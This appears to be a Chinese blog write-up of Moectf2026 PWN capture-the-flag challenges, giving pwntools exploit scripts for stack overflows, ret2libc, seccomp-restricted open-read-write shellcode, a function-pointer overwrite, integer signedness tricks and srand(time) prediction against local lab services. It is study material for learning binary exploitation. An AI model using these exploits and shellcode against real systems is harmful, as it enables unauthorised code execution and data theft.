Moectf2026-PWN
确实算是新手入门教学,更新本次wp更新到week3,还有部分题目正在复现
悲今天眼睛痛死了()
今日推荐的歌曲

Pwn入门之北

如果你是一个新手的话建议查看.pdf内容,然后进行入门。我觉得Moectf能走到今天确实离不开西电同学的支持,在此非常感谢西电网络安全社团给大家一个这样的平台和详细写了各个方向的入门手册。
0x01 函数分析

算是考了一个逆向,如果buf数组不等于2147483647的话就进行报错了
所以第一个空填写2147483647
第二个是s1需要等于Welcometomoectf2026pwn\n
所以整个脚本的书写就是
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1",63667)
io.recvuntil(b"Hello,my friend.Please enter the password to begin")
io.sendline(b"2147483647")
io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n")
io.interactive()
走后门-shellcode

0x01 函数分析

main()

vuln()
可以看到v1的作用就是指定buf可以读取多少个字节,同时满足v1 <= 0,那我们就直接设置v1为100吧

这里就有一个栈溢出了,如果你不清楚栈溢出是什么的话请你跳转到这个文章进行学习再回来看这里会更加好,通过覆盖buf数组利用vuln的ret返回窃取到后门函数,在函数列表中我们发现了这个后门函数0x0401209

0x02 EXP编写
from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r = remote('127.0.0.1',42519)
r.sendafter(b'So how many do you want to give?', b'10000\n')
offset = 0x40+0x8
vuln = 0x0401209
ret = 0x401231
payload = b'A'*offset + p64(ret) +p64(0x0401209)
r.sendline(payload)
r.interactive()
Hello-World01 -libc

0x01 程序分析

可以看的出这是一个amd64程序,NX开启栈不可以执行,动态链接Libc
0x02 函数分析
main() ->0x040122E

vuln() -> 0x04011FD

可以看的出在这里存在栈溢出,read写入到buf超过了buf的大小。
第二个就是通过对main函数的发现,可以选择printf或者puts函数进行泄露,也就是通过泄露libc函数还原libc基址,从libc里边拿到system和/bin/sh执行。
原理的话请看这个文章
0x03 payload编写
from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r = remote('127.0.0.1',26383)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
r.sendafter(b'Your answer:' , b'puts\n')
r.recvuntil(b"This function seems to be unsafe,right? ")
puts_addr = int(r.recvline().strip(),16)
print("puts addr -> ",hex(puts_addr))
libc.address= puts_addr - libc.symbols['puts']
pop_rdi = 0x04013d3
offset = 0x40+0x8
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
ret = 0x040122D
payload = b'a'*offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.send(payload)
r.interactive()
ezpwn01 -webpwn

0x01 题目分析
这是一个pwn的黑盒,HACKED当时也是用AI写的。
先利用web的思路看看能不能获取到源码

可以看得出这是一个将pwn封装为web的过程,要求是发送的变量是payload,同时必须是bytes类型
首先先了解一个请求就是WebSocket
| 维度 | HTTP(寄信) | WebSocket(打电话) |
|---|---|---|
| 流程 | 你寄一封信,对方回一封,结束 | 你拨通电话,双方都能随时说话 |
| 适合 | 「问一次答一次」 | 「一边问一边持续回话」 |
这题为什么必须是 WebSocket 点 Run 之后发生了一连串事
- 浏览器把代码发给服务端
- 服务端跑 Python 构造 shellcode
- 服务端把 shellcode 喂给 chall
- chall 跑起来后,shell 输出会持续不断地回传(你敲 ls 就回 ls 的结果,你敲 cat /flag
就回 flag)
- 你还能继续给 shell 喂命令
这种「服务端能主动把消息推给你」的持续对话,HTTP 做不到——HTTP 寄完信就挂了。所以浏览器开发者用了 WebSocket。端口虽然一样是 40620,但路径不同——HTTP 是 /(拿 HTML),WebSocket 是 /ws(拿对话)。
所以我们使用F12-网络筛选ws

可以发现使用RUN之后出现按了数据和协议信息
- 请求:{"type":"run","code":"<你写的Python>"}
- 响应:服务端先回 status 说"正在构建",构建完会回 meta 告诉你 payload 长度,构建失败回 error
那我们就先发送一个小小的payload看看这个shell需要什么吧
0x02 payload发送测试

可以看到我们发送了简单的语句之后出现了错误,shellcode被加载到CPU了但是他不清楚架构,如果不指名架构pwntools可能生成的是错误的asm shellcode
那我们先试试amd64

很完美拿到shell,那我们该找找文件了

ezpwn02 -ORW

这是一题考验ORW的题目,需要掌握权限读写,这里提到了ORW
0x01 题目分析

可以发现NX开启,PIE->随机化
如果不知道PIE的话可以看看这个文章
0x02 函数分析

通过还原这个程序,也就是反汇编之后
main函数的结构如下
main()
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
# include <sys/mman.h>
# include <sys/prctl.h>
# include <linux/filter.h>
# include <linux/seccomp.h>
// 题目黑名单字符:0x00, 0x0A, 0x20, 0x2F('/'), 'f', 'l', 'a', 'g'
const unsigned char BADCHARS[] = {0x00, 0x0A, 0x20, 0x2F, 'f', 'l', 'a', 'g'};
const size_t BADCHAR_COUNT = sizeof(BADCHARS);
// 还原 read_exact_constprop_0 函数
ssize_t read_exact(int fd, void *buf, size_t count) {
size_t total = 0;
while (total < count) {
ssize_t n = read(fd, (char *)buf + total, count - total);
if (n <= 0) break;
total += n;
}
return total;
}
int main() {
// 1. 关闭 IO 缓冲区
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("ezpwn02");
puts("stage1: max 40 bytes");
puts("badchars: 00 0a 20 2f 66 6c 61 67");
puts("seccomp: read/write/openat/exit only");
// 2. 读取 Stage1 长度 (4 字节)
unsigned int stage1_len = 0;
read_exact(STDIN_FILENO, &stage1_len, 4);
if (stage1_len < 1 || stage1_len > 40) {
puts("bad stage1 length");
return 1;
}
// 3. mmap 分配一块 RWX 内存
typedef void (*shellcode_fn)(void *);
shellcode_fn shellcode = (shellcode_fn)mmap(
NULL,
0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0
);
if (shellcode == MAP_FAILED) {
puts("mmap failed.");
return 1;
}
// 4. 读取 Stage1 Shellcode
read_exact(STDIN_FILENO, shellcode, stage1_len);
// 5. Badchar 字节校验
unsigned char *ptr = (unsigned char *)shellcode;
for (unsigned int i = 0; i < stage1_len; i++) {
for (size_t j = 0; j < BADCHAR_COUNT; j++) {
if (ptr[i] == BADCHARS[j]) {
puts("badchar detected in stage1");
return 1;
}
}
}
puts("stage1 accepted");
// 6. 反编译重构的 Seccomp BPF 规则结构
struct sock_filter filter[11] = {
// [0] 检查架构是否为 x86_64
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 4),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0xC000003E, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
// [3] 加载 syscall 编号
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0),
// [4-8] 白名单检查:read(0), write(1), openat(257), exit(60), exit_group(231)
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x0, 4, 0), // sys_read
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x1, 3, 0), // sys_write
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x101, 2, 0), // sys_openat
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x3C, 1, 0), // sys_exit
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0xE7, 0, 1), // sys_exit_group
// [9-10] 结果返回
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
struct sock_fprog prog = {
.len = 11,
.filter = filter,
};
// 7. 开启 Seccomp 限制
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) ||
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
_exit(1);
}
// 8. 跳转执行 Shellcode,同时将 Shellcode 首地址作为第一个参数 (RDI) 传入
shellcode(shellcode);
return 0;
}
有关函数
read_exact_constprop()

就是read的安全写入,当成read去使用就行
其实这个题的关键就是在于如何绕过黑名单字符,不能出现00 0a 20 2f 66 6c 61 67这些汇编,也就是代码解析之后不能是这些十六进制,输入的大小限制为40字节,如何保证跳转之后的shellcode函数能够执行代码
0x03 收集必要信息
先看看这个题有没有出现/bin/sh和syscall类似的字符串

看看有没有pop链子可以构造

0x04 攻击思路
路线选择
seccomp 拦了 execve,所以不能拿 shell。必须自己打开 flag 文件、读内容、写出来:
openat(...) → read(fd, buf, n) → write(1, buf, n) 开文件 把内容读到内存 打到 stdout
关键解法:stdin 搬运法
既然 /flag 不能直接出现在 shellcode 里,那就让它走 stdin:
你发给 chall 的总数据(52 字节):
┌──────────┬─────────────────┬──────────────────┐
│ 长度(4B) │ shellcode(40B) │ 路径(8B) │
│ p32(40) │ 你的 shellcode │ /flag\0\0\0 │
└──────────┴─────────────────┴──────────────────┘
↑ ↑
程序 read 走这 40B 这 8B 还在 stdin
shellcode 里 read(0,...) 抓它
shellcode 里一行都不许出现 /flag 这五个字节。
shellcode伪代码
void shellcode() {
char *path = rbx + 0x40; // flag路径放在 shellcode 之后,避免被覆盖
read(0, path, 8); // 1. 从 stdin 抓 "/flag\0\0\0"
int fd = openat(AT_FDCWD, path, 0); // 2. 开文件
read(fd, path, 0x60); // 3. 读 flag 内容到 path
write(1, path, 0x60); // 4. 打到 stdout
}
read(0,path,8)伪代码
xor rax,rax push 8 pop rdx lea rsi,[rbx+0x40] syscall
哎这时候可能有些同学就有疑问了,你是怎么知道shellcode这个函数的地址的(因为我们的程序是开启PIE的)?为什么能精确将/flag放到shellcode函数栈之后的?
在分配mmap空间的时候rbx存储的就是shellcode的地址,

在最后调用的时候也是直接call rbx,说明rbx在shellcode赋值了之后就没有变过了

自此所有函数的汇编构造如下
; ============ Step 1: read(0, rbx+0x40, 8) ============ ; 从 stdin 抓 "/flag\0\0\0" xor eax, eax ; rax = 0(syscall 号 = read) push rax pop rdi ; rdi = 0(stdin) push 8 pop rdx ; rdx = 8(读 8 字节) lea rsi, [rbx+0x40] ; rsi = rbx+0x40(shellcode 后 64B 处) syscall ; ============ Step 2: openat(AT_FDCWD, rbx+0x40, 0) ============ ; rax 现在 = 8(step 1 返回字节数) shl eax, 5 ; rax = 8 << 5 = 256 inc eax ; rax = 257(openat 的 syscall 号) push -100 ; -100 = AT_FDCWD(push imm8,符号扩展) pop rdi ; rdi = AT_FDCWD xor edx, edx ; rdx = 0(O_RDONLY) syscall ; ============ Step 3: read(fd, rbx+0x40, 0x60) ============ mov edi, eax ; rdi = fd(openat 返回值) xor eax, eax ; rax = 0(read 的 syscall 号) mov dl, 0x60 ; rdx = 0x60(一次读 96B 够用) syscall ; ============ Step 4: write(1, rbx+0x40, 0x60) ============ ; rax 现在 = step 3 读到的字节数(≤ 0x60),高字节是 0 mov al, 1 ; rax = 1(write 的 syscall 号) push 1 pop rdi ; rdi = 1(stdout) syscall
全部字节统计刚好就是40
0x05 payload
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# r = process('./chall')
r = remote('127.0.0.1',61258)
shellcode = asm('''
xor eax,eax
push rax
pop rdi
push 8
pop rdx
lea rsi,[rbx+0x40]
syscall
shl eax, 5
inc eax
push -100
pop rdi
xor edx, edx
syscall
mov edi,eax
xor eax,eax
mov dl, 0x60
syscall
mov al,1
push 1
pop rdi
syscall
''')
payload = p32(40)
payload += shellcode
payload += b'/flag\x00\x00\x00'
r.send(payload)
print(r.recvall(timeout=2))
omg电台出问题了
函数分析

0x01 程序分析

出现了Canary,不过得看看程序具体是怎么走的
0x02 函数分析
main()

先还原一下main函数的逻辑
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <stdint.h>
// 声明外部调用的函数
void show_status(void);
void read_exact(void *buf, size_t count);
int main(int argc, const char **argv, const char **envp) {
uint8_t len = 0; // v4 [rsp+0Fh]
char input_buf[72] = {0}; // v5 [rsp+10h] ~ [rsp+57h] (0x48 字节)
char v6 = 0; // v6 [rsp+58h]
// 栈上结构:dest_buf (64字节) 紧挨着 函数指针 func_ptr (8字节)
char dest_buf[64] = {0}; // v7 [rsp+60h] (rbp-0x50)
void (*func_ptr)(void) = show_status;// v8 [rsp+A0h] (rbp-0x10),距 dest_buf 恰好 0x40 (64) 字节
// 禁用标准 I/O 缓冲区
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
// 30秒定时器
alarm(30);
puts("=== Faulty Radio Hardware ===");
puts("[hardware] Recovery controller online.");
puts("[hardware] Send a length-prefixed encrypted repair message.");
puts("Enter repair ciphertext:");
// 1. 读取 1 字节作为后续数据的长度 len
read_exact(&len, 1);
// 2. 校验长度范围: 1 <= len <= 72 (0x48)
if (len == 0 || len > 0x48) {
puts("[hardware] Invalid frame length.");
return 0;
}
// 3. 读取指定长度 len 的密文放入 input_buf
read_exact(input_buf, len);
// 4. 检查 input_buf 的字符串长度是否 <= 32 (0x20)
if (strlen(input_buf) <= 0x20) {
// 5. 漏洞点:将 len 字节复制到 dest_buf (64字节大小)
memcpy(dest_buf, input_buf, len);
// 6. 调用函数指针
func_ptr();
} else {
puts("[hardware] Repair cipher is too long.");
}
return 0;
}
repair_comple() -> 0x040182A

可以看得出输入的长度不能超过0x48u
看看程序怎么运行的吧

0x03 攻击流程
strlen函数漏洞
观察可以发现,v5位于v8指针的上方,那我们可以通过栈溢出将v8的指向替代成我们想要的函数位置
同时strlen存在致命的漏洞,遇到\x00则停止,也就是说payload中包含\x00就可以绕过这个限制进入指定区域
0x04 payload
from pwn import *
context(os= 'linux', arch='amd64', log_level='debug')
# r = process('./radio_relay')
r = remote('127.0.0.1',40943)
TARGET = 0x40182a # repair_complete
payload = b'A'*32
payload += b'\x00' #strlen检测\x00
payload += b'a' *31
payload += p64(TARGET) #覆盖数据到v8字符串指针
r.send(b'\x48')
print(f'payload 长度 = {len(payload)} (期望 72)')
print(f'hex = {payload.hex()}')
r.send(payload)
r.interactive()
神灯的愿望
0x01 程序分析


0x02 函数解析
main()

通过还原解析函数如下
# include <stdio.h>
# include <stdlib.h>
// 声明程序用到的外部/前置函数
void init(int argc, const char **argv, const char **envp);
void win(void);
int main(int argc, const char **argv, const char **envp) {
int choice = 0;
int wish_input = 0;
unsigned int wishes = 1;
char wish_msg[104];
init(argc, argv, envp);
puts("Hello, dear pwner! I am Genie Lamp!");
puts("You can only make ONE wish.");
puts("What do you want?");
while (1) {
// 菜单循环
while (1) {
puts("");
puts("1. Make more wishes");
puts("2. Make a normal wish");
puts("3. Get flag");
printf("> ");
__isoc99_scanf("%d", &choice);
if (choice != 1) {
break;
}
puts("How many wishes do you want?");
__isoc99_scanf("%d", &wish_input);
// 检查:如果输入的愿望数大于 0 则直接退出
if (wish_input > 0) {
puts("Sorry, you can't increase wishes.");
exit(0);
}
// 将有符号数赋值给无符号变量
wishes = wish_input;
printf("You can still make %u wishes!\n", wishes);
}
// 选项 2:许下普通愿望
if (choice == 2) {
break;
}
// 选项 3:获取 Flag
if (choice == 3) {
// 0x1BF51 即十进制的 114513
if (wishes <= 0x1BF51) {
puts("Your wishes are not enough...");
} else {
win(); // 满足条件调用目标函数
}
exit(0);
}
puts("Invalid choice!");
}
// 执行选项 2 后的逻辑
puts("Tell me your wish:");
__isoc99_scanf("%99s", wish_msg);
puts("Your wish has been granted!");
exit(0);
}
win()

通过观察函数可以发现v4是一个无符号的int类型,也就是可以通过输入负数,在解码的时候解析成无符号的int类型之后变成一个超大的数

0x03 攻击原理
整数溢出
PWN学习-整数溢出 - Amsterdamnit - 博客园
只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。
剩余的愿望数>0x1BF51即可拿到shell

ezpwn02_revenge-ORW
0x01 题目分析

这是一个ELF 64的pwn程序。
main() ->0x0401324

从语句中可以分析,这是一题简单的pwn的ORW沙箱问题,仅仅准许rax值read/write/openat/exit的汇编语句通过
观察可以发现buf申请了一个超大的栈空间,末尾处((void (*)(void))buf)()的意思是跳转到buf地址去执行

mmap申请下来的内存会保存到rax中,这时候就是跳转到mmap申请的内存中去执行语句了,既然限制7字节read在第一次,那我们就写汇编语句去构造read(fd,page,size)
这里先科普一下fd 文件
Linux中的文件描述符fd(file descriptor)
File Descriptor(文件描述符) | 断念梦的站点
彻底弄懂 Linux 下的文件描述符(fd) - petercao - 博客园
我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。
和这题有什么关系呢?因为这是一个有关权限链接的问题,在ctf-pwn中,一般的远程链接服务端口本质上是TCP socket通讯。
我们的主机
┌──────────────┐
│ pwntools │
│ remote(host, │
│ port) │
└──────┬───────┘
│
│ TCP
▼
┌────────────────────┐
│ CTF 服务器 │
│ │
│ listening socket │
│ ↓ │
│ accept() │
│ ↓ │
│ connected socket │
│ ↓ │
│ PWN 目标进程 │
└────────────────────┘
这里要注意 两个 socket:
listen_fd = socket(...); bind(..., 端口); listen(listen_fd, ...);
它负责:
“有人连接我的这个端口吗?”
accept() 后得到的连接 socket
conn_fd = accept(listen_fd, ...);
这个 conn_fd 才是:
和你这次 CTF 连接真正进行数据收发的 socket。
然后服务器通常会把这个 conn_fd 通过 dup2() 绑定给目标程序:
dup2(conn_fd, 0); dup2(conn_fd, 1); dup2(conn_fd, 2);
于是目标 PWN 程序里面:
fd 0 ──┐ fd 1 ──┼──→ connected socket ──→ TCP ──→ 你的 pwntools fd 2 ──┘
write(1, "hello", 5);
程序 ↓ fd 1 ↓ socket ↓ TCP ↓ pwntools
而我们发送的
p.send(b"AAAA")
pwntools ↓ TCP ↓ socket ↓ fd 0 ↓ read(0, ...)
你的 pwntools ←────────→ socket
↑
│
fd 0/1/2
│
↓
PWN 进程
这题就是巧在, 我使用的是read(1,page,0x10000) fd = 1去获取的管道信息,如果是本地的话不一定能打得开,他算是一种全新的思路。按照常规的话就是使用read(0,page,0x1000)。
stdin/stdout/stderr 是程序启动时对 fd 0/1/2 的默认约定;程序运行之后,fd 的具体绑定关系可以被程序本身、父进程或运行环境改变。
- 一般二进制程序刚启动时
在正常情况下,进程会继承启动环境提供的:
fd 0 → 标准输入 fd 1 → 标准输出 fd 2 → 标准错误
通常进一步表现为:
fd 0 ──→ terminal fd 1 ──→ terminal fd 2 ──→ terminal
但是“stdin”不是 fd 0 的永久属性
不是
fd 0 = 天生的 stdin fd 1 = 天生的 stdout
而是
进程启动时
↓
操作系统/父进程提供
↓
fd 0 → stdin
fd 1 → stdout
fd 2 → stderr
stdin/stdout/stderr 是进程启动时对 0/1/2 的标准约定。但是程序可以通过系统调用改变它
int fd = open("test.txt", O_RDONLY);
内核可能返回:
fd = 3
于是
0 → stdin 1 → stdout 2 → stderr 3 → test.txt
这是最普通的情况。
如果程序继续:
dup2(3, 0);
那么就变成:
0 → test.txt 1 → stdout 2 → stderr 3 → test.txt
此时:
read(0, buf, 100);
已经不是从原来的 stdin 读取,而是从 test.txt 读取。
对一般的二进制程序来说
进程
│
┌──────┴──────┐
↓ ↓
fd table 用户代码
│
├── 0 ──→ terminal ← stdin
├── 1 ──→ terminal ← stdout
├── 2 ──→ terminal ← stderr
└── 3 ──→ file
甚至程序启动的时候,0/1/2 就不一定是终端
./program < input.txt > output.txt
所以程序内部:read(0,...)读取的是input.txt,而write(1, ...)写入的是output.txt
程序启动 ↓ 继承父进程提供的 fd ↓ 通常: 0 → stdin 1 → stdout 2 → stderr ↓ 程序运行过程中 ↓ open / socket / pipe / dup2 / close ... ↓ 通过系统调用请求内核改变 fd 状态
回到这题哈
0x02 解题思路
刚刚我们分析出了7字节的写入,那我们就是通过使用汇编语句将mmap进行写入执行read语句之后,再次写入opencat,read和write的汇编语句,当执行完read(1,page,0x1000)的时候rip会自动跳转到mmap之后不会返回原来的函数了。
那我们第一部分的exp就这样写吧,先观察一下有什么可以利用的

可以发现我们可以通过xchg(交换)将数据相互替换
# read(1,page,size) rdi -> 1,rsi -> page,rdx -> long_size xchg rax,rsi xchg eax,ebx xchg edi,edx syscall # rax = 0
from pwn import *
context(os = 'linux',arch = 'adm64')
r = remote('127.0.0.1',XXXX)
payload = asm("""
xchg rax,rsi
xchg eax,ebx
xchg edi,edx
syscall
""")
0x03 第二部分的payload写入
第二部分就简单多了,就是按照常规的ORW写法去写入和上一题的ezpwn02 一样的流程
openat -> read -> write
既然这部分的mmap很大了,那么我们就把/flag写入到rbp+0x80之后吧,
# read(1,page+0x80,0x8) 从socat 1中抓/flag\0\0\0 xor eax,eax push 8 pop rdx lea rsi,[rsi+0x80] syscall # openat(AT_FDCWD,/flag,O_RDONLY) rsi -> 0x80 shl eax,5 inc eax push -100 pop rdi xor edx,edx syscall # read(3,page+0x80,0x100) mov edi,eax xor eax,eax mov dl,0x60 syscall # write(1,page+0x80,0x100) mov al,1 push 1 pop rdi syscall
0x04 第一种payload
纯远程利用socket
from pwn import *
context(os = 'linux', arch = 'amd64')
# r = process('./pwn') # 本地调试别用这个: 管道部署下 fd=1 的 read 会挂
# 本地想调试: socat TCP-LISTEN:26383,reuseaddr,fork EXEC:./pwn
r = remote('127.0.0.1', 26383) # ← 换成题目给的 IP/端口
# ===== 第一部分: 7字节引导 stub =====
# 入口寄存器(gdb断点 *0x4013d8 实测): rax=page rbx=0 rsi=1 rdx=1 rdi=libc大地址
stage1 = asm("""
xchg rax, rsi /* rsi = page (缓冲区) */
xchg eax, ebx /* rax = 0 (SYS_read) */
xchg edi, edx /* rdi = 1(fd), rdx = 大数(长度) */
syscall /* read(1, page, 巨大) —— 挂起等第二段 */
""")[:7] # 切掉对齐填充, main 只收 7 字节
# ===== 第二部分: ORW 四步 (路径不写死, 从第三段数据读) =====
stage2 = b'\x90' * 7 + asm("""
/* 垫7个nop: 让正文正好从 page+7 (CPU停靠点) 开始 */
xor eax, eax /* Step1: read(1, page+0x80, 8) 抓路径 */
push 8
pop rdx
lea rsi, [rsi+0x80]
syscall /* -> rax = 8 */
shl eax, 5 /* Step2: openat —— 8<<5=256, +1=257 */
inc eax
push -100
pop rdi
xor edx, edx
syscall /* -> rax = fd */
mov edi, eax /* Step3: read(fd, page+0x80, 0x60) */
xor eax, eax
mov dl, 0x60
syscall /* -> rax = n, flag 内容落地 */
mov al, 1 /* Step4: write(1, page+0x80, 0x60) */
push 1
pop rdi
syscall /* flag 回显到你屏幕 */
""")
stage2 = stage2[:stage2.rfind(b'\x0f\x05') + 2] # 切尾部填充
# ===== 第三部分: 路径数据 (8字节, Step1 固定读 8 字节) =====
path = b'/flag\x00\x00\x00'
# ===== 发射: 三段式 (socket 队列排队纪律) =====
r.recvuntil(b'> ')
r.send(stage1) # main 的 read 吃掉 stub
sleep(0.5) # stub 的 read 挂起 —— 此时发路径会被它吞掉!
r.send(stage2) # stub 吃代码, 从 page+7 接力
sleep(0.5) # Step1 的 read 挂起
r.send(path) # 路径落地 -> openat -> ORW
r.interactive()
如果是本地和远程用的话,就是另一个写法了
0x05 第二种payload
这个写法和我第一个写法不同是,我们可以借助main函数中的read,去将数据写入到mmap中。观察可以发现当运行到call rax的时候,栈上的数据是0x4013de,我们可以pop这个值给rdx,将read第三个参数进行替换,返回去借助main中的read


所以第一部分的payload也可以这样写
asm{style="width:75%"}(arch='amd64',log_level='debug',terminal=['tmux','split','-h'])
file = './pwn'
# p = process(file)
elf = ELF(file)
libc = elf.libc
host = '127.0.0.1'
port = 38409
p = remote(host, port)
shellcode=asm('''
pop rdx
push 0x4013c1
ret
''')
p.sendafter(b'> ',shellcode)
shellcode=asm('''
mov rax, 0x67616c662f
push rax
mov rsi, rsp
mov rax, 257
mov rdi, -100
xor rdx, rdx
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdx, rax
mov rax, 1
mov rdi ,1
mov rsi, rsp
syscall
xor edi, edi
push 60
pop rax
syscall
''')
p.send(shellcode)
p.interactive()
斯兰德先生的秘密 (srand's secret) - Writeup
0x01 题目分析
题目给出一个 ELF 64-bit 可执行文件 pwn,使用 not stripped,因此符号都可见:
init/main/gate1/gate2/gate3/b4ckdo0r/lcg
通过 objdump -d pwn -M intel 反汇编观察,程序逻辑如下:
main()
├── init()
├── 打印欢迎语 + 三道 gate 提示
├── gate1() ← 返回 time(NULL)
├── gate2(gate1_ret) ← 返回 lcg(0x1bf52 迭代) 结果
├── gate3(gate2_ret)
└── b4ckdo0r() ← system("/bin/sh")
gate1 — Predict TIME
int gate1() {
unsigned int t = time(NULL);
srand(t);
unsigned int x = rand();
printf("Password:");
scanf("%u", &ans);
if (ans != x) { puts("You can't predict the time easily!"); exit(0); }
puts("You've beaten the time and become a stronger self!");
return t;
}
关键点:种子 t 直接来自 time(NULL),所以是可预测的;只要我们和服务器在同一秒(或 ±几秒)发起请求就能算出 rand() 的输出。
gate2 — Predict calculation (LCG)
int gate2(unsigned int t) {
unsigned int state = t;
for (int i = 0; i <= 0x1bf51; i++) // 114514 次
state = lcg(state); // (state * 0x41c64e6d + 0x3039) & 0x7fffffff
printf("Password:");
scanf("%u", &ans);
if (ans != state) { puts("Well, it seems you don't know..."); exit(0); }
puts("Good job! That's one of the ways how random number works.");
return state;
}
关键点:递推是确定性的 LCG,迭代 114514 次后必须给出最终状态。
gate3 — Predict unknown
int gate3(unsigned int seed) {
srand(seed);
unsigned r1 = rand(), r2 = rand(), r3 = rand();
printf("First random number:%u\n", r1);
printf("Second random number:%u\n", r2);
printf("Your answer:");
scanf("%u", &ans);
if (ans != r3) { puts("Haha...It's random, how can you predict it?"); exit(0); }
puts("Wow, random number is in fact not random,right?");
return r3;
}
关键点:srand 后三次 rand(),第三次是答案。glibc 的 rand() 用 TYPE_3 反馈移位寄存器,不是简单 LCG,必须严格复刻。
b4ckdo0r — 奖励 shell
void b4ckdo0r() {
puts("Genius!");
puts("You defeated all random gates! Here is your bonus:");
system("/bin/sh");
}
0x02 解题思路(暴力破解 / 预测)
整道题唯一的"随机"来源就是 time(NULL),而且是用作 srand 的种子。其它都是确定性算法。所以思路是:
- 暴力枚举时间戳偏移:用 while true 不断尝试,每次给
time(NULL)加上一个偏移量 ±N 秒(N 取 0~10),只要本地时钟和服务器时钟差不太多就一定命中。 - gate1:
srand(t+offset)后调一次rand()—— 直接复刻 glibc 行为。 - gate2:把 gate1 给出的种子送进 LCG 迭代 114514 次。
- gate3:用 gate2 的结果再
srand,调三次rand(),把第三个作为答案。
为了避免在 Python 里重新实现 glibc 的 TYPE_3 PRNG(很容易写错),直接写一个 C 帮手程序把整条链算出来,再用 pwntools 把三个答案喂回去。
0x03 关键工具
pwntools(负责 I/O)- 一个 C 帮手(用真正的 glibc
srand/rand)输出三道 gate 的答案
0x04 复现步骤
1. 准备帮手 C 程序文件 /tmp/helper.c
# include <stdio.h>
# include <stdlib.h>
# include <stdint.h>
# include <time.h>
uint32_t lcg_step(uint32_t s) {
return (s * 0x41c64e6du + 0x3039u) & 0x7fffffff;
}
int main(int argc, char **argv) {
int off = atoi(argv[1]);
uint32_t t = (uint32_t)time(NULL) + off;
srand(t);
uint32_t g1 = rand();
uint32_t s = t & 0x7fffffff;
for (int i = 0; i <= 0x1bf51; i++) s = lcg_step(s);
uint32_t g2 = s;
srand(g2);
rand(); rand(); uint32_t g3 = rand();
printf("%u %u %u\n", g1, g2, g3);
return 0;
}
编译:
gcc /tmp/helper.c -o /tmp/helper_keep
2. 暴力破解主程序 solve.py
# !/usr/bin/env python3
import subprocess
from pwn import *
context.log_level = 'info'
HELPER = '/tmp/helper_keep'
OFFSETS = [0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5,
*range(-10, -5), *range(6, 11)] # 中心向外展开
def compute(offset):
out = subprocess.check_output([HELPER, str(offset)], text=True).strip()
return [int(x) for x in out.split()]
def main():
target = process # 本地;远程就换成 remote(host, port)
while True:
for off in OFFSETS:
try:
g1, g2, g3 = compute(off)
io = target('/tmp/pwn')
io.recvuntil(b'Password:'); io.sendline(str(g1).encode())
m = io.recvuntil([b"You can't predict", b"You've beaten"], timeout=2)
if b"You can't" in m: io.close(); continue
io.recvuntil(b'Password:'); io.sendline(str(g2).encode())
m = io.recvuntil([b"Well, it seems", b"Good job"], timeout=2)
if b"Well" in m: io.close(); continue
io.recvuntil(b'Your answer:'); io.sendline(str(g3).encode())
m = io.recvuntil([b"Genius", b"Haha"], timeout=2)
if b"Genius" in m:
io.interactive()
return
io.close()
except (EOFError, Exception):
continue
log.info("round failed, retrying...")
main()
0x05 漏洞点 / Trick 总结
- 伪随机 ≠ 真随机:所有"随机数"都来自
srand(time(NULL)),而种子是确定的、可预测的。 - LCG 不需要逆向:只是大量迭代而已,CPU 一秒钟算完。
- glibc rand 不是线性同余:必须用真正的
srand/rand(通过 C 帮手)来复现,自己写 Python 实现容易在 TYPE_3 状态机上出错。 - 暴力枚举时间戳:本地与服务器时钟相差几秒内一定命中,
while true+ 小范围偏移足以保证成功。
0x06 命中奖励
通过三道 gate 后程序调用 b4ckdo0r() → system("/bin/sh"),拿到 shell 后 cat flag* 即可。
百万英镑
0x01 题目信息
- 题目:百万英镑
- 类别:Pwn(栈溢出)
- 平台:Linux x86_64
- 防护:NX 开,No PIE,No Canary,Not Stripped
$ file million-pound
million-pound: ELF 64-bit LSB executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
not stripped
$ checksec --file=./million-pound
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x02 程序行为
程序输出 Mark Twain《百万英镑》里那段经典的支票清单,然后问用户要写多少张支票,最后读入相应字节数:
